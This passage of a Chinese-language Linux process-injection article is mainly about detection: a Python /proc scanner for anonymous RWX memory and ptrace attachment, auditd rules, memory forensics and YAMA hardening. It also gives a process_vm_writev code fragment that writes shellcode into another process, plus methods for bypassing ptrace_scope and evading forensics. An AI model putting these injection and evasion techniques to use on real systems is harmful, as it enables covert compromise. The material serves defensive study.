栈对齐:x86_64 ABI要求在call指令执行时栈必须16字节对齐。如果我们的shellcode调用了库函数(而非直接syscall),需要确保RSP满足对齐要求。通常在进入payload时先做一次and rsp, -16。

SELinux/AppArmor:在启用了强制访问控制的系统上,mmap的PROT_EXEC标志可能被安全策略拒绝。此时需要改用ROP链或更复杂的代码复用技术。

五、检测与取证——蓝队视角

攻击技术的价值在于推动防御能力的进化。这一章切换到蓝队视角,讨论如何检测前述三种注入手段。

5.1 基于/proc的实时检测

第四章的远程mmap注入在目标进程中留下了一个标志性痕迹:匿名的RWX内存映射。正常的应用程序几乎不会拥有同时具备读、写、可执行权限的匿名内存段(JIT编译器如V8是少数例外)。这是一个高置信度的异常指标。

5.2 进程注入实时检测脚本

扫描所有进程的/proc/maps,检测匿名RWX区域和TracerPid异常

detector.py

#!/usr/bin/env python3
"""
Linux进程注入检测器
检测指标:
  1. /proc/pid/maps 中的匿名 RWX 区域(注入payload的标志)
  2. /proc/pid/status 中 TracerPid != 0(ptrace附加检测)
  3. /proc/pid/maps 中 .text 段权限异常(rwxp)
用法:sudo python3 detector.py [--watch] [--interval 5]
"""

import os
import sys
import re
import time
import argparse
from pathlib import Path

# 已知合法的RWX映射白名单(JIT引擎等)
RWX_WHITELIST = {
    "libv8",          # V8 JavaScript engine
    "libjvm",         # Java Virtual Machine
    "libmono",        # Mono runtime
    "libLLVM",        # LLVM JIT
}


class Finding:
    def __init__(self, pid, comm, severity, description, detail):
        self.pid = pid
        self.comm = comm
        self.severity = severity
        self.description = description
        self.detail = detail

    def __str__(self):
        sev_colors = {"HIGH": "\033[91m", "MEDIUM": "\033[93m",
                      "LOW": "\033[92m"}
        c = sev_colors.get(self.severity, "")
        return (f"{c}[{self.severity}]\033[0m "
                f"PID={self.pid} ({self.comm}): "
                f"{self.description}\n"
                f"        Detail: {self.detail}")


def get_comm(pid):
    """获取进程名"""
    try:
        return Path(f"/proc/{pid}/comm").read_text().strip()
    except Exception:
        return "unknown"


def check_tracer_pid(pid):
    """检测是否有进程正在ptrace目标"""
    try:
        status = Path(f"/proc/{pid}/status").read_text()
        m = re.search(r"TracerPid:\s+(\d+)", status)
        if m:
            tracer = int(m.group(1))
            if tracer != 0:
                tracer_comm = get_comm(tracer)
                return Finding(
                    pid, get_comm(pid), "HIGH",
                    "Active ptrace attachment detected",
                    f"TracerPid={tracer} ({tracer_comm})"
                )
    except (PermissionError, FileNotFoundError):
        pass
    return None


def check_anon_rwx(pid):
    """检测匿名RWX内存映射"""
    findings = []
    try:
        maps = Path(f"/proc/{pid}/maps").read_text()
        for line in maps.splitlines():
            # 匹配权限为 rwxp 的行
            if "rwxp" not in line:
                continue

            # 检查是否为匿名映射(无文件路径,或路径为空)
            parts = line.split()
            path = parts[-1] if len(parts) > 5 else ""

            # 白名单过滤
            if any(w in path for w in RWX_WHITELIST):
                continue

            # inode为0表示匿名映射
            inode = parts[4] if len(parts) > 4 else "0"
            is_anon = (inode == "0" and
                       not path.startswith("["))

            if is_anon:
                addr_range = parts[0]
                start, end = addr_range.split("-")
                size = int(end, 16) - int(start, 16)
                findings.append(Finding(
                    pid, get_comm(pid), "HIGH",
                    "Anonymous RWX memory region detected",
                    f"{addr_range} (size={size} bytes) - "
                    f"possible injected shellcode"
                ))
            elif path:
                # 有文件映射但是RWX,也可疑
                findings.append(Finding(
                    pid, get_comm(pid), "MEDIUM",
                    "File-backed RWX mapping",
                    f"{parts[0]} {path}"
                ))
    except (PermissionError, FileNotFoundError):
        pass
    return findings


def scan_all_processes():
    """扫描所有进程"""
    all_findings = []
    for entry in os.listdir("/proc"):
        if not entry.isdigit():
            continue
        pid = int(entry)
        if pid == os.getpid():
            continue

        # 检查ptrace附加
        f = check_tracer_pid(pid)
        if f:
            all_findings.append(f)

        # 检查匿名RWX
        all_findings.extend(check_anon_rwx(pid))

    return all_findings


def main():
    parser = argparse.ArgumentParser(
        description="Linux Process Injection Detector")
    parser.add_argument("--watch", action="store_true",
                       help="持续监控模式")
    parser.add_argument("--interval", type=int, default=5,
                       help="监控间隔(秒)")
    args = parser.parse_args()

    print("=" * 60)
    print("  Linux Process Injection Detector")
    print("=" * 60)

    while True:
        print(f"\n[*] Scanning at {time.strftime('%H:%M:%S')}...")
        findings = scan_all_processes()

        if findings:
            print(f"[!] {len(findings)} suspicious finding(s):\n")
            for f in findings:
                print(f"  {f}\n")
        else:
            print("[+] No suspicious indicators found.")

        if not args.watch:
            break
        time.sleep(args.interval)


if __name__ == "__main__":
    main()
sudo python3 detector.py

# 持续监控模式
sudo python3 detector.py --watch --interval 3

5.3 使用auditd监控ptrace与/proc/mem访问

Linux审计子系统可以记录ptrace系统调用和对/proc/mem文件的访问。以下auditd规则覆盖了主要的注入路径:

# /etc/audit/rules.d/injection-detect.rules

# 监控所有ptrace系统调用
-a always,exit -F arch=b64 -S ptrace -k process_injection

# 监控 process_vm_readv / process_vm_writev 系统调用
-a always,exit -F arch=b64 -S process_vm_readv -k process_injection
-a always,exit -F arch=b64 -S process_vm_writev -k process_injection

# 监控可疑的mmap调用(带PROT_EXEC标志)
-a always,exit -F arch=b64 -S mmap -F a2&0x4 -k exec_mmap
# sudo auditctl -R /etc/audit/rules.d/injection-detect.rules
# sudo ausearch -k process_injection --start recent
type=SYSCALL ... syscall=101 (ptrace) ... pid=12345 comm="injector"

5.4 内存取证:LiME + Volatility3

对于事后取证场景,需要从目标主机获取完整的物理内存转储。LiME(Linux Memory Extractor)是标准的Linux内存获取工具。

# 在目标机器上编译并加载LiME内核模块
$ git clone https://github.com/504ensicsLabs/LiME.git
$ cd LiME/src && make
# sudo insmod lime-$(uname -r).ko "path=/tmp/mem.lime format=lime"
# 获取完成后将mem.lime传输到分析工作站

使用Volatility3分析内存转储时,重点关注以下指标:

# 列出所有进程的内存映射,过滤RWX区域
$ python3 vol.py -f mem.lime linux.proc.Maps \
    | grep 'rwx' | grep -v '/usr/lib'

# 检查进程的已加载ELF与磁盘文件是否一致
# (检测代码段被修改/hollowing的情况)
$ python3 vol.py -f mem.lime linux.elfs.Elfs \
    --pid 42001

# 提取可疑内存区域进行离线分析
$ python3 vol.py -f mem.lime linux.proc.Maps \
    --pid 42001 --dump --address 0x7f3a2be00000

# 对提取的内存块进行反汇编
$ objdump -D -b binary -m i386:x86-64 \
    pid.42001.0x7f3a2be00000.dmp

取证分析的关键发现模式:

指标

正常情况

注入后的异常

匿名RWX段

极少出现(仅JIT引擎)

存在一个或多个小型匿名RWX映射

.text段hash

与磁盘文件一致

ptrace POKETEXT注入后不一致

GOT表项

指向libc等合法库内

指向堆区或匿名映射区域

TracerPid历史

始终为0

auditd日志中出现ptrace事件

5.5 YAMA LSM加固

对于生产服务器,建议将YAMA ptrace_scope设置为至少1(最好是2):

# 持久化配置
$ echo "kernel.yama.ptrace_scope = 2" | \
    sudo tee /etc/sysctl.d/99-ptrace.conf
$ sudo sysctl -p /etc/sysctl.d/99-ptrace.conf

# scope=2 意味着只有拥有 CAP_SYS_PTRACE 的进程
# 才能进行ptrace操作和访问/proc/pid/mem
# 普通用户进程(包括同UID)将被完全阻止

六、对抗与绕过思考

安全研究的价值在于不断推演攻防边界。以下讨论几个进阶方向,供读者深入研究。

6.1 绕过YAMA ptrace_scope

当ptrace_scope=1(受限模式)时,只有父进程才能ptrace子进程。但存在几个绕过路径:

  • prctl(PR_SET_PTRACER):如果目标进程自身调用了prctl(PR_SET_PTRACER, PR_SET_PTRACER_ANY),则任何进程都可以ptrace它。某些调试友好型应用(如IDE启动的程序)会这样做。
  • 利用父子关系:如果攻击者能控制目标进程的祖先进程(如通过cron job或systemd service触发),可以从父进程发起ptrace。
  • CAP_SYS_PTRACE:容器环境中,某些容器运行时会赋予容器进程此能力,构成提权路径。

6.2 process_vm_readv/writev:另一条路径

Linux提供的process_vm_readv(2)和process_vm_writev(2)系统调用允许跨进程内存读写,权限检查与/proc/mem类似,但走的是不同的内核代码路径。部分监控方案可能只hook了ptrace和/proc/mem而遗漏了这一对系统调用。

#include <sys/uio.h>

struct iovec local[1];
struct iovec remote[1];

local[0].iov_base = shellcode;
local[0].iov_len  = shellcode_len;
remote[0].iov_base = (void *)target_addr;
remote[0].iov_len  = shellcode_len;

/* 直接写入目标进程内存,无需ptrace attach */
ssize_t nwritten = process_vm_writev(
    target_pid,
    local,  1,    /* 本地iovec */
    remote, 1,    /* 远程iovec */
    0              /* flags */
);

检测方应将process_vm_writev纳入auditd规则覆盖范围(前文的规则已包含)。

6.3 eBPF在检测中的潜力

传统的auditd规则存在性能开销大、规则灵活性不足等问题。eBPF(extended Berkeley Packet Filter)提供了一种更高效的内核态监控方案。通过附加eBPF程序到关键tracepoint,可以实现:

  • 在sys_enter_ptrace tracepoint处捕获所有ptrace调用,记录调用者PID、目标PID和请求类型
  • 在sys_enter_mmap处检测带PROT_EXEC标志的映射请求
  • 在vfs_write kprobe处过滤对/proc/*/mem路径的写操作
  • 利用eBPF maps实现跨事件的关联分析(例如:进程A在5秒内既ptrace了进程B又向/proc/B/mem写入数据)

Falco、Tracee、Tetragon等开源安全工具已经在实践这一方向。对于安全团队而言,基于eBPF构建自定义的注入检测探针是一个值得投入的工程方向。

6.4 攻击者的反取证手段

理解攻击者可能的反取证动作有助于改进检测策略:

  • RWX→RX降级:payload写入后,通过远程mprotect将权限从RWX改为R-X,消除最显眼的匿名RWX特征
  • 使用已有的RX段:不分配新内存,而是直接覆写目标进程已有代码段中不常执行的函数(如错误处理路径),避免新增内存映射
  • 时间窗口最小化:注入操作在毫秒级完成,attach-inject-detach全程极短,降低被轮询式检测捕获的概率
  • 清理payload:执行完成后通过远程munmap释放注入的内存区域,或用零覆写

这些手段说明单纯依赖快照式的/proc扫描是不够的。eBPF的事件驱动型监控和完整的auditd日志审计才是更可靠的检测基础。

总结:攻防矩阵

注入技术

核心原语

OPSEC优势

检测手段

可能的绕过

ptrace POKETEXT

ATTACH → POKETEXT → SETREGS → CONT

实现简单,兼容性好

TracerPid监控、auditd ptrace规则、SIGSTOP信号

最小化attach时间窗口

/proc/mem GOT劫持

/proc/pid/mem seek+write

无ptrace调用,TracerPid保持为0

GOT完整性校验、auditd /proc/mem访问监控

process_vm_writev替代

远程mmap + payload

ptrace远程syscall + /proc/mem写入

获得RWX内存,payload持久驻留

匿名RWX区域扫描、eBPF tracepoint监控

mprotect降级RWX→RX、munmap清理

Linux进程注入是一个内核机制"双刃剑"性质的典型案例。ptrace和/proc文件系统为调试和系统管理提供了不可或缺的能力,但同样为攻击者提供了强大的原语。防御者不应试图完全禁用这些机制(这会破坏正常的系统运维),而应在理解攻击链路细节的基础上,在关键环节部署有针对性的检测点。

本文讨论的所有技术均面向x86_64架构。ARM64(aarch64)平台的寄存器布局和系统调用约定有所不同,但ptrace和/proc/mem的基本原理一致,移植并不困难——这留给有兴趣的读者作为练习。

免责声明:本文所有技术内容仅供安全研究和防御能力建设使用。未经授权对他人系统实施注入攻击属于违法行为。请在合法授权的测试环境中复现实验。

参考资料:ptrace(2) man page · Linux kernel source (fs/proc/base.c) · MITRE ATT&CK T1055 · Volatility3 Documentation